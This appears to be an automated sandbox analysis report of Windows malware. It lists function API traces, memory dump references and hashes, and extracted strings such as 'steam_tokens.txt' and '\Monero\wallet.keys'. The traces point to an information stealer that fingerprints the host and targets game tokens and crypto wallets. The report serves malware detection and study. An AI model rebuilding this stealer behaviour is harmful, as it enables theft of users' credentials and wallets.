Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001F7542
Part of subcall function 001F7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001F757F
Part of subcall function 001F7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7603
Part of subcall function 001F7500: RtlAllocateHeap.NTDLL(00000000), ref: 001F760A

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001F7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F76A4
Part of subcall function 001F7690: RtlAllocateHeap.NTDLL(00000000), ref: 001F76AB

Part of subcall function 001F77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,001FDBC0,000000FF,?,001F1C99,00000000,?,0143D618,00000000,?), ref: 001F77F2
Part of subcall function 001F77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,001FDBC0,000000FF,?,001F1C99,00000000,?,0143D618,00000000,?), ref: 001F77F9

Part of subcall function 001F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
Part of subcall function 001F7850: RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
Part of subcall function 001F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

Part of subcall function 001F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
Part of subcall function 001F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
Part of subcall function 001F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Part of subcall function 001F7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00200E00,00000000,?), ref: 001F79B0
Part of subcall function 001F7980: RtlAllocateHeap.NTDLL(00000000), ref: 001F79B7
Part of subcall function 001F7980: GetLocalTime.KERNEL32(?,?,?,?,?,00200E00,00000000,?), ref: 001F79C4
Part of subcall function 001F7980: wsprintfA.USER32 ref: 001F79F3

Part of subcall function 001F7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0143D838,00000000,?,00200E10,00000000,?,00000000,00000000), ref: 001F7A63
Part of subcall function 001F7A30: RtlAllocateHeap.NTDLL(00000000), ref: 001F7A6A
Part of subcall function 001F7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0143D838,00000000,?,00200E10,00000000,?,00000000,00000000,?), ref: 001F7A7D

Part of subcall function 001F7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0143D838,00000000,?,00200E10,00000000,?,00000000,00000000), ref: 001F7B35

Part of subcall function 001F7B90: GetKeyboardLayoutList.USER32(00000000,00000000,002005AF), ref: 001F7BE1
Part of subcall function 001F7B90: LocalAlloc.KERNEL32(00000040,?), ref: 001F7BF9
Part of subcall function 001F7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 001F7C0D
Part of subcall function 001F7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 001F7C62
Part of subcall function 001F7B90: LocalFree.KERNEL32(00000000), ref: 001F7D22

Part of subcall function 001F7D80: GetSystemPowerStatus.KERNEL32(?), ref: 001F7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0143D458,00000000,?,00200E24,00000000,?,00000000,00000000,?,0143D9D0,00000000,?,00200E20,00000000), ref: 001F207E

Part of subcall function 001F9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 001F9484
Part of subcall function 001F9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 001F94A5
Part of subcall function 001F9470: CloseHandle.KERNEL32(00000000), ref: 001F94AF

Part of subcall function 001F7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7E37
Part of subcall function 001F7E00: RtlAllocateHeap.NTDLL(00000000), ref: 001F7E3E
Part of subcall function 001F7E00: RegOpenKeyExA.KERNEL32(80000002,0142B9D8,00000000,00020119,?), ref: 001F7E5E
Part of subcall function 001F7E00: RegQueryValueExA.KERNEL32(?,0143D4D8,00000000,00000000,000000FF,000000FF), ref: 001F7E7F
Part of subcall function 001F7E00: RegCloseKey.ADVAPI32(?), ref: 001F7E92

Part of subcall function 001F7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 001F7FC9
Part of subcall function 001F7F60: GetLastError.KERNEL32 ref: 001F7FD8

Part of subcall function 001F7ED0: GetSystemInfo.KERNEL32(00200E2C), ref: 001F7F00
Part of subcall function 001F7ED0: wsprintfA.USER32 ref: 001F7F16

Part of subcall function 001F8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0143D868,00000000,?,00200E2C,00000000,?,00000000), ref: 001F8130
Part of subcall function 001F8100: RtlAllocateHeap.NTDLL(00000000), ref: 001F8137
Part of subcall function 001F8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001F8158
Part of subcall function 001F8100: __aulldiv.LIBCMT ref: 001F8172
Part of subcall function 001F8100: __aulldiv.LIBCMT ref: 001F8180
Part of subcall function 001F8100: wsprintfA.USER32 ref: 001F81AC

Part of subcall function 001F87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00200E28,00000000,?), ref: 001F882F
Part of subcall function 001F87C0: RtlAllocateHeap.NTDLL(00000000), ref: 001F8836
Part of subcall function 001F87C0: wsprintfA.USER32 ref: 001F8850

Part of subcall function 001F8320: RegOpenKeyExA.KERNEL32(00000000,0143ACA0,00000000,00020019,00000000,002005B6), ref: 001F83A4

Part of subcall function 001F8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001F8426
Part of subcall function 001F8320: wsprintfA.USER32 ref: 001F8459
Part of subcall function 001F8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 001F847B
Part of subcall function 001F8320: RegCloseKey.ADVAPI32(00000000), ref: 001F848C
Part of subcall function 001F8320: RegCloseKey.ADVAPI32(00000000), ref: 001F8499

Part of subcall function 001F8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002005B7), ref: 001F86CA
Part of subcall function 001F8680: Process32First.KERNEL32(?,00000128), ref: 001F86DE
Part of subcall function 001F8680: Process32Next.KERNEL32(?,00000128), ref: 001F86F3
Part of subcall function 001F8680: CloseHandle.KERNEL32(?), ref: 001F8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 001F265B

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 434b570dff64580c5711b5e60e4073e5acea5c3772eddf70ab29262b3b24e255
Instruction ID: 575de5277742856ae60f7b0ccdb6b109e34a794eaf2b7c988b775e90ecd2f309
Opcode Fuzzy Hash: 434b570dff64580c5711b5e60e4073e5acea5c3772eddf70ab29262b3b24e255
Instruction Fuzzy Hash: F8728FB1C5011CAADB15FB50DCA1EFE7338AF24341FD482A9B61E62091EF742B49CB65

Function 001E6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d25891d534afb75598841798848c522d4c9fbcc8d113f534cb04a8edc7fbb45
Instruction ID: 1aabbe9a24cd936be3530e51c45d5be84433a2a106fac6938847b0e6923ceb7a
Opcode Fuzzy Hash: 3d25891d534afb75598841798848c522d4c9fbcc8d113f534cb04a8edc7fbb45
Instruction Fuzzy Hash: EC6137B4D00248DFCF18CF95E994BEEB7B0BB28344F508598E41967280D735AE94DF91

Function 001F70D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 001F718C

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 79e639a7196f2869adffe0e4e74a5a38386b9d9279a83936f42de1e962886082
Instruction ID: 729381be00a304967098966244f47f1f375806f210839a40126b746ade681dea
Opcode Fuzzy Hash: 79e639a7196f2869adffe0e4e74a5a38386b9d9279a83936f42de1e962886082
Instruction Fuzzy Hash: 2F516CB0D0421CABDB24EBA0DC95BFEB774AF54304F6041A8E619671C2EB746E88CF55

Function 001F5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

lstrlen.KERNEL32(00000000,00000000,00200ACA), ref: 001F512A

Strings

steam_tokens.txt, xrefs: 001F513F

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: a669877085d41f29a24946d4bb0309261c3abfd0c79ce8617abfa1b81bab61de
Instruction ID: d72d85310986c7d4672518bd765ceeb62a6e2c65a1f0ff1698ee4c5717a64dd4
Opcode Fuzzy Hash: a669877085d41f29a24946d4bb0309261c3abfd0c79ce8617abfa1b81bab61de
Instruction Fuzzy Hash: 6CF01DB191020C66DB04F7B0DC57DFD773C9F65340F804268BA5A62092EF396619C6A7

Function 001F7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00200E2C), ref: 001F7F00
wsprintfA.USER32 ref: 001F7F16

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 2badaf90dbc47fe280acf1d596638c3508484bc8ba28379ae6a60531bbe90d67
Instruction ID: 8c5ea70358b4a05e7f91ab87348162f134f16b94340c0e5e271a6d6a1e5c411c
Opcode Fuzzy Hash: 2badaf90dbc47fe280acf1d596638c3508484bc8ba28379ae6a60531bbe90d67
Instruction Fuzzy Hash: 21F096B1A04208EBC714CF84DC45FBAF7BCF745714F400669FA1592280D77559148BD5

Function 001EB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

lstrlen.KERNEL32(00000000), ref: 001EB9C2
lstrlen.KERNEL32(00000000), ref: 001EB9D6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f7f1e67a15d505573a716aa9eac4438d4a741da03aade6202c3b53343d0ba3c2
Instruction ID: c4aa6ee4acd1023a039e541660fa4653fbc2cb12c56323ee5d2c69430a96554b
Opcode Fuzzy Hash: f7f1e67a15d505573a716aa9eac4438d4a741da03aade6202c3b53343d0ba3c2
Instruction Fuzzy Hash: 03E1E1B291011C9BDB15FBA0CC92DFE7338BF64341F804169F60A66091EF786A59CB66

Function 001EAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

lstrlen.KERNEL32(00000000), ref: 001EB16A
lstrlen.KERNEL32(00000000), ref: 001EB17E

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
